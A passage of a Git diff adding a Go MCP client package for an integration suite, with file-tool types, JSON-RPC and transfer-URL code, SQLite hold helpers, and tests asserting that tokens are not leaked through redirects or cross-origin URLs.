`json:"truncated"` + Total int `json:"total"` +} + +type FsReadArguments struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + Offset int64 `json:"offset"` + Length int64 `json:"length"` + Encoding string `json:"encoding"` +} + +type FsReadResult struct { + Content string `json:"content"` + Encoding string `json:"encoding"` + Size int64 `json:"size"` + SHA256 string `json:"sha256"` + Truncated bool `json:"truncated"` +} + +type FsWriteArguments struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + Content string `json:"content"` + Encoding string `json:"encoding"` + Mode string `json:"mode"` + IfMatchSHA256 string `json:"if_match_sha256"` + CreateDirs bool `json:"create_dirs"` +} + +type FsWriteResult struct { + Size int64 `json:"size"` + SHA256 string `json:"sha256"` + Error string `json:"error"` +} + +type FsDeleteArguments struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + Recursive bool `json:"recursive"` +} + +type FsDeleteResult struct { + DeletedCount int `json:"deleted_count"` +} diff --git a/integration/agentcompat/internal/client/mcp_test.go b/integration/agentcompat/internal/client/mcp_test.go new file mode 100644 index 00000000..f785ee40 --- /dev/null +++ b/integration/agentcompat/internal/client/mcp_test.go @@ -0,0 +1,290 @@ +package client + +import ( + "context" + "encoding/json" + "errors" + "io" + "net/http" + "net/http/httptest" + "sync/atomic" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +type testJSONRPCRequest struct { + JSONRPC string `json:"jsonrpc"` + ID uint64 `json:"id"` + Method string `json:"method"` + Params json.RawMessage `json:"params"` +} + +type testToolCallParams struct { + Name string `json:"name"` +} + +type fileReadArguments struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` +} + +type fileReadResult struct { + Size int64 `json:"size"` + SHA256 string `json:"sha256"` +} + +func TestClient_MCPStructuredContent(t *testing.T) { + requestIDs := make(chan uint64, 2) + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + require.Equal(t, "/mcp", request.URL.Path) + require.Equal(t, "Bearer mcp-token", request.Header.Get("Authorization")) + require.NotEmpty(t, request.Header.Get("Origin")) + + var rpcRequest testJSONRPCRequest + require.NoError(t, json.NewDecoder(request.Body).Decode(&rpcRequest)) + require.Equal(t, "2.0", rpcRequest.JSONRPC) + require.Equal(t, "tools/call", rpcRequest.Method) + var params testToolCallParams + require.NoError(t, json.Unmarshal(rpcRequest.Params, ¶ms)) + require.Equal(t, "fs.read", params.Name) + requestIDs <- rpcRequest.ID + + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"jsonrpc":"2.0","id":` + jsonNumber(rpcRequest.ID) + `,"result":{"content":[{"type":"text","text":"ok"}],"structuredContent":{"size":7,"sha256":"abc123"}}}`)) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{ + BaseURL: server.URL, + BearerToken: "mcp-token", + Origin: server.URL, + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + }) + call := ToolCall[fileReadArguments]{Name: "fs.read", Arguments: fileReadArguments{ServerID: 7, Path: "/tmp/report"}} + first, err := CallTool[fileReadArguments, fileReadResult](context.Background(), client, call) + require.NoError(t, err) + require.Equal(t, int64(7), first.StructuredContent.Size) + require.Equal(t, "abc123", first.StructuredContent.SHA256) + + _, err = CallTool[fileReadArguments, fileReadResult](context.Background(), client, call) + require.NoError(t, err) + require.Equal(t, uint64(1), <-requestIDs) + require.Equal(t, uint64(2), <-requestIDs) +} + +func TestClient_MCPUnauthorized(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + writer.Header().Set("Content-Type", "application/json") + writer.WriteHeader(http.StatusUnauthorized) + _, _ = writer.Write([]byte(`{"jsonrpc":"2.0","id":1,"error":{"code":-32001,"message":"unauthorized"}}`)) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{ + BaseURL: server.URL, + BearerToken: "invalid-token", + Origin: server.URL, + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + }) + _, err := CallTool[fileReadArguments, fileReadResult](context.Background(), client, ToolCall[fileReadArguments]{ + Name: "fs.read", + Arguments: fileReadArguments{ServerID: 7, Path: "/tmp/report"}, + }) + require.Error(t, err) + require.True(t, errors.Is(err, ErrUnauthorized)) +} + +func TestClient_MCPClassifiesNonJSONUnauthorized(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + writer.WriteHeader(http.StatusUnauthorized) + _, _ = writer.Write([]byte("unauthorized")) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + _, err := client.Initialize(context.Background()) + require.ErrorIs(t, err, ErrUnauthorized) +} + +func TestClient_MCPToolSemanticFailure(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + var rpcRequest testJSONRPCRequest + require.NoError(t, json.NewDecoder(request.Body).Decode(&rpcRequest)) + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"jsonrpc":"2.0","id":` + jsonNumber(rpcRequest.ID) + `,"result":{"content":[{"type":"text","text":"agent offline"}],"isError":true}}`)) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + _, err := CallTool[fileReadArguments, fileReadResult](context.Background(), client, ToolCall[fileReadArguments]{ + Name: "fs.read", + Arguments: fileReadArguments{ServerID: 7, Path: "/tmp/report"}, + }) + require.ErrorIs(t, err, ErrToolFailure) +} + +func TestClient_MCPToolFailurePreservesStructuredContent(t *testing.T) { + // Given + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + var rpcRequest testJSONRPCRequest + require.NoError(t, json.NewDecoder(request.Body).Decode(&rpcRequest)) + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"jsonrpc":"2.0","id":` + jsonNumber(rpcRequest.ID) + `,"result":{"content":[{"type":"text","text":"command not found"}],"structuredContent":{"exit_code":127,"error":"command or working directory not found"},"isError":true}}`)) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + _, err := CallTool[fileReadArguments, fileReadResult](context.Background(), client, ToolCall[fileReadArguments]{Name: "server.exec", Arguments: fileReadArguments{ServerID: 7}}) + + // Then + var toolFailure *ToolFailure + require.ErrorAs(t, err, &toolFailure) + require.ErrorIs(t, err, ErrToolFailure) + require.Equal(t, "command not found", toolFailure.Message) + require.JSONEq(t, `{"exit_code":127,"error":"command or working directory not found"}`, string(toolFailure.StructuredContent)) +} + +func TestClient_MCPArbitraryTransportErrorIsNotToolFailure(t *testing.T) { + // Given + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + _, _ = io.Copy(io.Discard, request.Body) + <-request.Context().Done() + })) + t.Cleanup(server.Close) + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: 20 * time.Millisecond, MaxResponseBytes: 1024}) + + // When + _, err := CallTool[fileReadArguments, fileReadResult](context.Background(), client, ToolCall[fileReadArguments]{Name: "server.exec", Arguments: fileReadArguments{ServerID: 7}}) + + // Then + var toolFailure *ToolFailure + require.Error(t, err) + require.NotErrorAs(t, err, &toolFailure) + require.NotErrorIs(t, err, ErrToolFailure) +} + +func TestClient_MCPMalformedStructuredToolFailureIsTyped(t *testing.T) { + // Given + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + var rpcRequest testJSONRPCRequest + require.NoError(t, json.NewDecoder(request.Body).Decode(&rpcRequest)) + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"jsonrpc":"2.0","id":` + jsonNumber(rpcRequest.ID) + `,"result":{"content":[{"type":"text","text":"invalid command"}],"structuredContent":"not-an-object","isError":true}}`)) + })) + t.Cleanup(server.Close) + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + + // When + _, err := CallTool[fileReadArguments, fileReadResult](context.Background(), client, ToolCall[fileReadArguments]{Name: "server.exec", Arguments: fileReadArguments{ServerID: 7}}) + + // Then + var toolFailure *ToolFailure + require.ErrorAs(t, err, &toolFailure) + require.ErrorIs(t, err, ErrToolFailure) + require.JSONEq(t, `"not-an-object"`, string(toolFailure.StructuredContent)) +} + +func TestClient_MCPRejectsOversize(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"jsonrpc":"2.0","id":1,"result":{"padding":"` + string(make([]byte, 256)) + `"}}`)) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 64}) + _, err := client.Initialize(context.Background()) + require.ErrorIs(t, err, ErrResponseTooLarge) +} + +func TestClient_MCPDeadline(t *testing.T) { + // The handler must enter before the client deadline: scheduling the handler + // against a tiny timeout can make this test miss a real MCP request. + requestBodyDrained := make(chan struct{}) + requestCancelled := make(chan struct{}) + releaseHandler := make(chan struct{}) + server := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, request *http.Request) { + if _, err := io.Copy(io.Discard, request.Body); err != nil { + return + } + close(requestBodyDrained) + select { + case <-request.Context().Done(): + close(requestCancelled) + case <-releaseHandler: + } + })) + t.Cleanup(func() { + close(releaseHandler) + server.Close() + }) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + result := make(chan error, 1) + go func() { + _, err := client.Initialize(context.Background()) + result <- err + }() + waitContext, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + select { + case <-requestBodyDrained: + case <-waitContext.Done(): + t.Fatal("server did not receive MCP request") + } + var err error + select { + case err = <-result: + case <-waitContext.Done(): + t.Fatal("MCP request did not reach its deadline") + } + require.ErrorIs(t, err, context.DeadlineExceeded) + select { + case <-requestCancelled: + case <-waitContext.Done(): + t.Fatal("server request context was not cancelled") + } +} + +func TestClient_MCPRejectsResultAndErrorTogether(t *testing.T) { + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + var rpcRequest testJSONRPCRequest + require.NoError(t, json.NewDecoder(request.Body).Decode(&rpcRequest)) + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"jsonrpc":"2.0","id":` + jsonNumber(rpcRequest.ID) + `,"result":{},"error":{"code":-32603,"message":"invalid"}}`)) + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{BaseURL: server.URL, RequestTimeout: time.Second, MaxResponseBytes: 1024}) + _, err := client.Initialize(context.Background()) + require.ErrorIs(t, err, ErrJSONRPC) +} + +func TestClient_MCPRejectsRedirectWithoutForwardingAuthorization(t *testing.T) { + var redirected atomic.Int32 + foreignServer := httptest.NewServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) { + redirected.Add(1) + })) + t.Cleanup(foreignServer.Close) + + dashboardServer := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + http.Redirect(writer, &http.Request{}, foreignServer.URL+"/capture", http.StatusTemporaryRedirect) + })) + t.Cleanup(dashboardServer.Close) + + client := newTestClient(t, Config{BaseURL: dashboardServer.URL, BearerToken: "mcp-token", RequestTimeout: time.Second, MaxResponseBytes: 1024}) + _, err := client.Initialize(context.Background()) + require.ErrorIs(t, err, ErrRedirect) + require.Zero(t, redirected.Load()) +} + +func jsonNumber(value uint64) string { + encoded, err := json.Marshal(value) + if err != nil { + panic(err) + } + return string(encoded) +} diff --git a/integration/agentcompat/internal/client/sqlite_hold.go b/integration/agentcompat/internal/client/sqlite_hold.go new file mode 100644 index 00000000..c5c0e71b --- /dev/null +++ b/integration/agentcompat/internal/client/sqlite_hold.go @@ -0,0 +1,90 @@ +package client + +import ( + "context" + "encoding/base64" + "errors" + "net/http" +) + +var ErrInvalidSQLiteHoldReceipt = errors.New("client: invalid sqlite hold receipt") + +type SQLiteHoldState string + +const ( + SQLiteHoldStateArmed SQLiteHoldState = "armed" + SQLiteHoldStateSelected SQLiteHoldState = "selected" + SQLiteHoldStateFinalizing SQLiteHoldState = "finalizing" + SQLiteHoldStateReleased SQLiteHoldState = "released" + SQLiteHoldStateAborted SQLiteHoldState = "aborted" +) + +type SQLiteHoldReceipt struct { + ID string `json:"id"` + State SQLiteHoldState `json:"state,omitempty"` +} + +func (client *Client) ArmSQLiteHold(ctx context.Context) (SQLiteHoldReceipt, error) { + receipt, err := DoREST[struct{}, SQLiteHoldReceipt](ctx, client, RESTRequest[struct{}]{Method: http.MethodPost, Path: "/agentcompat/sqlite-hold/arm", Body: &struct{}{}}) + return validateSQLiteHoldReceipt(receipt, SQLiteHoldStateArmed, err) +} + +func (client *Client) WaitForSQLiteHold(ctx context.Context, receipt SQLiteHoldReceipt, target SQLiteHoldState) (SQLiteHoldReceipt, error) { + if err := validateSQLiteHoldRequest(receipt, target); err != nil { + return SQLiteHoldReceipt{}, err + } + request := SQLiteHoldReceipt{ID: receipt.ID, State: target} + result, err := DoREST[SQLiteHoldReceipt, SQLiteHoldReceipt](ctx, client, RESTRequest[SQLiteHoldReceipt]{Method: http.MethodPost, Path: "/agentcompat/sqlite-hold/wait", Body: &request}) + return validateSQLiteHoldReceipt(result, target, err) +} + +func (client *Client) SnapshotSQLiteHold(ctx context.Context, receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + return client.sqliteHoldAction(ctx, receipt, "snapshot", "") +} + +func (client *Client) ReleaseSQLiteHold(ctx context.Context, receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + return client.sqliteHoldAction(ctx, receipt, "release", SQLiteHoldStateReleased) +} + +func (client *Client) AbortSQLiteHold(ctx context.Context, receipt SQLiteHoldReceipt) (SQLiteHoldReceipt, error) { + return client.sqliteHoldAction(ctx, receipt, "abort", SQLiteHoldStateAborted) +} + +func (client *Client) sqliteHoldAction(ctx context.Context, receipt SQLiteHoldReceipt, action string, expected SQLiteHoldState) (SQLiteHoldReceipt, error) { + if err := validateSQLiteHoldRequest(receipt, ""); err != nil { + return SQLiteHoldReceipt{}, err + } + request := SQLiteHoldReceipt{ID: receipt.ID} + result, err := DoREST[SQLiteHoldReceipt, SQLiteHoldReceipt](ctx, client, RESTRequest[SQLiteHoldReceipt]{Method: http.MethodPost, Path: "/agentcompat/sqlite-hold/" + action, Body: &request}) + return validateSQLiteHoldReceipt(result, expected, err) +} + +func validateSQLiteHoldRequest(receipt SQLiteHoldReceipt, target SQLiteHoldState) error { + decoded, err := base64.RawURLEncoding.DecodeString(receipt.ID) + if err != nil || len(receipt.ID) != 43 || len(decoded) != 32 { + return ErrInvalidSQLiteHoldReceipt + } + if target != "" && target != SQLiteHoldStateSelected && target != SQLiteHoldStateFinalizing { + return ErrInvalidSQLiteHoldReceipt + } + return nil +} + +func validateSQLiteHoldReceipt(receipt SQLiteHoldReceipt, expected SQLiteHoldState, err error) (SQLiteHoldReceipt, error) { + if err != nil { + return SQLiteHoldReceipt{}, err + } + if err := validateSQLiteHoldRequest(receipt, ""); err != nil || !validSQLiteHoldState(receipt.State) || expected != "" && receipt.State != expected { + return SQLiteHoldReceipt{}, ErrInvalidSQLiteHoldReceipt + } + return receipt, nil +} + +func validSQLiteHoldState(state SQLiteHoldState) bool { + switch state { + case SQLiteHoldStateArmed, SQLiteHoldStateSelected, SQLiteHoldStateFinalizing, SQLiteHoldStateReleased, SQLiteHoldStateAborted: + return true + default: + return false + } +} diff --git a/integration/agentcompat/internal/client/sqlite_hold_test.go b/integration/agentcompat/internal/client/sqlite_hold_test.go new file mode 100644 index 00000000..f5d7705d --- /dev/null +++ b/integration/agentcompat/internal/client/sqlite_hold_test.go @@ -0,0 +1,78 @@ +package client + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestClientSQLiteHoldHelpersUseTypedRESTContracts(t *testing.T) { + // Given + receiptID := "ERERERERERERERERERERERERERERERERERERERERERE" + requests := make([]string, 0, 6) + server := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + requests = append(requests, request.URL.Path) + var payload map[string]json.RawMessage + require.NoError(t, json.NewDecoder(request.Body).Decode(&payload)) + state := SQLiteHoldStateArmed + switch request.URL.Path { + case "/agentcompat/sqlite-hold/arm": + require.Empty(t, payload) + case "/agentcompat/sqlite-hold/wait": + require.JSONEq(t, `"`+receiptID+`"`, string(payload["id"])) + require.NoError(t, json.Unmarshal(payload["state"], &state)) + require.Contains(t, []SQLiteHoldState{SQLiteHoldStateSelected, SQLiteHoldStateFinalizing}, state) + case "/agentcompat/sqlite-hold/snapshot": + require.Len(t, payload, 1) + state = SQLiteHoldStateSelected + case "/agentcompat/sqlite-hold/release": + require.Len(t, payload, 1) + state = SQLiteHoldStateReleased + case "/agentcompat/sqlite-hold/abort": + require.Len(t, payload, 1) + state = SQLiteHoldStateAborted + default: + writer.WriteHeader(http.StatusNotFound) + return + } + writer.Header().Set("Content-Type", "application/json") + _, err := writer.Write([]byte(`{"success":true,"data":{"id":"` + receiptID + `","state":"` + string(state) + `"}}`)) + require.NoError(t, err) + })) + t.Cleanup(server.Close) + httpClient := newTestClient(t, Config{BaseURL: server.URL}) + + // When + armed, err := httpClient.ArmSQLiteHold(context.Background()) + require.NoError(t, err) + selected, err := httpClient.WaitForSQLiteHold(context.Background(), armed, SQLiteHoldStateSelected) + require.NoError(t, err) + finalizing, err := httpClient.WaitForSQLiteHold(context.Background(), selected, SQLiteHoldStateFinalizing) + require.NoError(t, err) + snapshot, err := httpClient.SnapshotSQLiteHold(context.Background(), finalizing) + require.NoError(t, err) + released, err := httpClient.ReleaseSQLiteHold(context.Background(), snapshot) + require.NoError(t, err) + aborted, err := httpClient.AbortSQLiteHold(context.Background(), released) + + // Then + require.NoError(t, err) + require.Equal(t, SQLiteHoldStateArmed, armed.State) + require.Equal(t, SQLiteHoldStateSelected, selected.State) + require.Equal(t, SQLiteHoldStateFinalizing, finalizing.State) + require.Equal(t, SQLiteHoldStateSelected, snapshot.State) + require.Equal(t, SQLiteHoldStateReleased, released.State) + require.Equal(t, SQLiteHoldStateAborted, aborted.State) + require.Equal(t, []string{ + "/agentcompat/sqlite-hold/arm", + "/agentcompat/sqlite-hold/wait", + "/agentcompat/sqlite-hold/wait", + "/agentcompat/sqlite-hold/snapshot", + "/agentcompat/sqlite-hold/release", + "/agentcompat/sqlite-hold/abort", + }, requests) +} diff --git a/integration/agentcompat/internal/client/transfer.go b/integration/agentcompat/internal/client/transfer.go new file mode 100644 index 00000000..7ebbedce --- /dev/null +++ b/integration/agentcompat/internal/client/transfer.go @@ -0,0 +1,184 @@ +package client + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "strings" + "time" +) + +type TransferURL struct { + URL string `json:"url"` + Method string `json:"method"` + ExpiresAt time.Time `json:"expires_at"` +} + +type DownloadURLRequest struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + TTLSeconds int `json:"ttl_seconds,omitempty"` +} + +type UploadURLRequest struct { + ServerID uint64 `json:"server_id"` + Path string `json:"path"` + TTLSeconds int `json:"ttl_seconds,omitempty"` + Mode string `json:"mode,omitempty"` + CreateDirs bool `json:"create_dirs,omitempty"` + IfMatchSHA256 string `json:"if_match_sha256,omitempty"` +} + +type UploadTransfer struct { + Body io.Reader + ContentLength int64 + SHA256 string +} + +type UploadResult struct { + Size int64 `json:"size"` + SHA256 string `json:"sha256"` +} + +type uploadResultPayload struct { + Size *int64 `json:"size"` + SHA256 *string `json:"sha256"` +} + +func RequestDownloadURL(ctx context.Context, client *Client, request DownloadURLRequest) (TransferURL, error) { + result, err := CallTool[DownloadURLRequest, TransferURL](ctx, client, ToolCall[DownloadURLRequest]{Name: "fs.download_url", Arguments: request}) + if err != nil { + return TransferURL{}, err + } + return client.validateTransferURL(result.StructuredContent, http.MethodGet) +} + +func RequestUploadURL(ctx context.Context, client *Client, request UploadURLRequest) (TransferURL, error) { + result, err := CallTool[UploadURLRequest, TransferURL](ctx, client, ToolCall[UploadURLRequest]{Name: "fs.upload_url", Arguments: request}) + if err != nil { + return TransferURL{}, err + } + return client.validateTransferURL(result.StructuredContent, http.MethodPost) +} + +func (client *Client) DownloadTransfer(ctx context.Context, transfer TransferURL, destination io.Writer) (int64, error) { + validated, err := client.validateTransferURL(transfer, http.MethodGet) + if err != nil { + return 0, err + } + requestContext, cancel := client.transferContext(ctx) + defer cancel() + request, err := http.NewRequestWithContext(requestContext, http.MethodGet, validated.URL, nil) + if err != nil { + return 0, errorsNewRedacted("create transfer request", err) + } + response, err := client.transferHTTPClient().Do(request) + if err != nil { + if requestContext.Err() != nil { + return 0, fmt.Errorf("download transfer: %w", requestContext.Err()) + } + return 0, errorsNewRedacted("download transfer", err) + } + defer response.Body.Close() + if response.StatusCode < 200 || response.StatusCode >= 300 { + return 0, &HTTPError{StatusCode: response.StatusCode} + } + written, err := io.Copy(destination, io.LimitReader(response.Body, client.maxTransferBytes)) + if err != nil { + return written, fmt.Errorf("copy download transfer: %w", err) + } + var overflow [1]byte + read, err := response.Body.Read(overflow[:]) + if err != nil && err != io.EOF { + return written, fmt.Errorf("probe download transfer size: %w", err) + } + if read > 0 { + return written, ErrTransferTooLarge + } + return written, nil +} + +func (client *Client) UploadTransfer(ctx context.Context, transfer TransferURL, upload UploadTransfer) (UploadResult, error) { + validated, err := client.validateTransferURL(transfer, http.MethodPost) + if err != nil { + return UploadResult{}, err + } + if upload.Body == nil || upload.ContentLength <= 0 { + return UploadResult{}, fmt.Errorf("upload content length: %w", ErrInvalidConfig) + } + if upload.ContentLength > client.maxTransferBytes { + return UploadResult{}, ErrTransferTooLarge + } + transferURL, err := url.Parse(validated.URL) + if err != nil { + return UploadResult{}, errorsNewRedacted("parse transfer URL", err) + } + if upload.SHA256 != "" { + query := transferURL.Query() + query.Set("sha256", upload.SHA256) + transferURL.RawQuery = query.Encode() + } + requestContext, cancel := client.transferContext(ctx) + defer cancel() + request, err := http.NewRequestWithContext(requestContext, http.MethodPost, transferURL.String(), io.LimitReader(upload.Body, upload.ContentLength)) + if err != nil { + return UploadResult{}, errorsNewRedacted("create transfer request", err) + } + request.ContentLength = upload.ContentLength + response, err := client.transferHTTPClient().Do(request) + if err != nil { + if requestContext.Err() != nil { + return UploadResult{}, fmt.Errorf("upload transfer: %w", requestContext.Err()) + } + return UploadResult{}, errorsNewRedacted("upload transfer", err) + } + defer response.Body.Close() + body, err := readBounded(response.Body, client.maxResponseBytes) + if err != nil { + return UploadResult{}, err + } + if response.StatusCode < 200 || response.StatusCode >= 300 { + return UploadResult{}, &HTTPError{StatusCode: response.StatusCode, Message: Redact(string(body))} + } + var payload uploadResultPayload + if err := json.NewDecoder(bytes.NewReader(body)).Decode(&payload); err != nil { + return UploadResult{}, fmt.Errorf("decode upload result: %w", err) + } + if payload.Size == nil || payload.SHA256 == nil || *payload.Size <= 0 || *payload.SHA256 == "" { + return UploadResult{}, fmt.Errorf("decode upload result: %w", ErrSemanticFailure) + } + return UploadResult{Size: *payload.Size, SHA256: *payload.SHA256}, nil +} + +func (client *Client) transferHTTPClient() *http.Client { + clone := *client.httpClient + clone.Jar = nil + clone.CheckRedirect = rejectRedirect + return &clone +} + +func (client *Client) validateTransferURL(transfer TransferURL, expectedMethod string) (TransferURL, error) { + parsed, err := url.Parse(transfer.URL) + if err != nil || parsed.Host == "" || (parsed.Scheme != "http" && parsed.Scheme != "https") { + return TransferURL{}, fmt.Errorf("transfer URL: %w", ErrInvalidConfig) + } + if parsed.User != nil || !client.sameOrigin(parsed) { + return TransferURL{}, fmt.Errorf("transfer origin: %w", ErrInvalidConfig) + } + if transfer.ExpiresAt.IsZero() || !time.Now().Before(transfer.ExpiresAt) { + return TransferURL{}, ErrTransferExpired + } + if !strings.EqualFold(transfer.Method, expectedMethod) { + return TransferURL{}, fmt.Errorf("transfer method: %w", ErrInvalidConfig) + } + transfer.Method = expectedMethod + return transfer, nil +} + +func (client *Client) sameOrigin(candidate *url.URL) bool { + return strings.EqualFold(candidate.Scheme, client.baseURL.Scheme) && strings.EqualFold(candidate.Host, client.baseURL.Host) +} diff --git a/integration/agentcompat/internal/client/transfer_rejection.go b/integration/agentcompat/internal/client/transfer_rejection.go new file mode 100644 index 00000000..0ad21bfe --- /dev/null +++ b/integration/agentcompat/internal/client/transfer_rejection.go @@ -0,0 +1,46 @@ +package client + +import ( + "context" + "fmt" + "io" + "net/http" +) + +type OversizeUploadProbe struct { + Body io.Reader + ContentLength int64 +} + +func (client *Client) ProbeOversizeUpload(ctx context.Context, transfer TransferURL, probe OversizeUploadProbe) error { + validated, err := client.validateTransferURL(transfer, http.MethodPost) + if err != nil { + return err + } + if probe.Body == nil || probe.ContentLength != client.maxTransferBytes+1 { + return fmt.Errorf("oversize upload probe: %w", ErrInvalidConfig) + } + requestContext, cancel := client.transferContext(ctx) + defer cancel() + request, err := http.NewRequestWithContext(requestContext, http.MethodPost, validated.URL, io.LimitReader(probe.Body, probe.ContentLength)) + if err != nil { + return errorsNewRedacted("create oversize transfer probe", err) + } + request.ContentLength = probe.ContentLength + response, err := client.transferHTTPClient().Do(request) + if err != nil { + if requestContext.Err() != nil { + return fmt.Errorf("oversize transfer probe: %w", requestContext.Err()) + } + return errorsNewRedacted("oversize transfer probe", err) + } + defer response.Body.Close() + body, err := readBounded(response.Body, client.maxResponseBytes) + if err != nil { + return err + } + if response.StatusCode >= 200 && response.StatusCode < 300 { + return fmt.Errorf("oversize transfer probe unexpectedly succeeded: %w", ErrSemanticFailure) + } + return &HTTPError{StatusCode: response.StatusCode, Message: Redact(string(body))} +} diff --git a/integration/agentcompat/internal/client/transfer_test.go b/integration/agentcompat/internal/client/transfer_test.go new file mode 100644 index 00000000..5224d229 --- /dev/null +++ b/integration/agentcompat/internal/client/transfer_test.go @@ -0,0 +1,249 @@ +package client + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "net/http" + "net/http/httptest" + "strings" + "sync/atomic" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func TestClient_TransferURLConsumptionOmitsAuthorization(t *testing.T) { + var server *httptest.Server + server = httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + switch request.URL.Path { + case "/mcp": + require.Equal(t, "Bearer mcp-token", request.Header.Get("Authorization")) + var rpcRequest testJSONRPCRequest + require.NoError(t, json.NewDecoder(request.Body).Decode(&rpcRequest)) + writer.Header().Set("Content-Type", "application/json") + _, _ = writer.Write([]byte(`{"jsonrpc":"2.0","id":` + jsonNumber(rpcRequest.ID) + `,"result":{"structuredContent":{"url":"` + server.URL + `/mcp/download/one-time-token","method":"GET","expires_at":"2030-01-02T03:04:05Z"}}}`)) + case "/mcp/download/one-time-token": + require.Empty(t, request.Header.Get("Authorization")) + require.Empty(t, request.Header.Get("Origin")) + _, _ = writer.Write([]byte("transfer payload")) + default: + http.NotFound(writer, request) + } + })) + t.Cleanup(server.Close) + + client := newTestClient(t, Config{ + BaseURL: server.URL, + BearerToken: "mcp-token", + Origin: server.URL, + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + MaxTransferBytes: 1024, + }) + transfer, err := RequestDownloadURL(context.Background(), client, DownloadURLRequest{ServerID: 7, Path: "/tmp/report", TTLSeconds: 30}) + require.NoError(t, err) + require.Equal(t, http.MethodGet, transfer.Method) + + var destination bytes.Buffer + written, err := client.DownloadTransfer(context.Background(), transfer, &destination) + require.NoError(t, err) + require.Equal(t, int64(len("transfer payload")), written) + require.Equal(t, "transfer payload", destination.String()) +} + +func TestClient_TransferURLRejectsCrossOrigin(t *testing.T) { + foreignServer := httptest.NewServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) { + t.Fatal("cross-origin transfer request was dispatched") + })) + t.Cleanup(foreignServer.Close) + + client := newTestClient(t, Config{ + BaseURL: "http://dashboard.example", + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + MaxTransferBytes: 1024, + }) + + var destination bytes.Buffer + _, err := client.DownloadTransfer(context.Background(), TransferURL{URL: foreignServer.URL + "/mcp/download/token", Method: http.MethodGet}, &destination) + require.Error(t, err) + require.True(t, errors.Is(err, ErrInvalidConfig)) +} + +func TestClient_TransferURLRejectsCrossOriginRedirect(t *testing.T) { + var foreignRequests atomic.Int32 + foreignServer := httptest.NewServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) { + foreignRequests.Add(1) + })) + t.Cleanup(foreignServer.Close) + + dashboardServer := httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, _ *http.Request) { + http.Redirect(writer, &http.Request{}, foreignServer.URL+"/stolen-token", http.StatusTemporaryRedirect) + })) + t.Cleanup(dashboardServer.Close) + + client := newTestClient(t, Config{ + BaseURL: dashboardServer.URL, + RequestTimeout: time.Second, + MaxResponseBytes: 1024, + MaxTransferBytes: 1024, + }) + + var destination bytes.Buffer + _, err := client.DownloadTransfer(context.Background(), TransferURL{ + URL: dashboardServer.URL + "/mcp/download/token", + Method: http.MethodGet, + ExpiresAt: time.Now().Add(time.Minute), + }, &destination) + require.ErrorIs(t, err, ErrRedirect) + require.Zero(t, foreignRequests.Load()) +} + +func TestClient_TransferURLRejectsSameOriginRedirect(t *testing.T) { + var redirected atomic.Int32 + var dashboardServer *httptest.Server + dashboardServer = httptest.NewServer(http.HandlerFunc(func(writer http.ResponseWriter, request *http.Request) { + if request.URL.Path == "/capture" { + redirected.Add(1) + return + } + http.Redirect(writer, request, 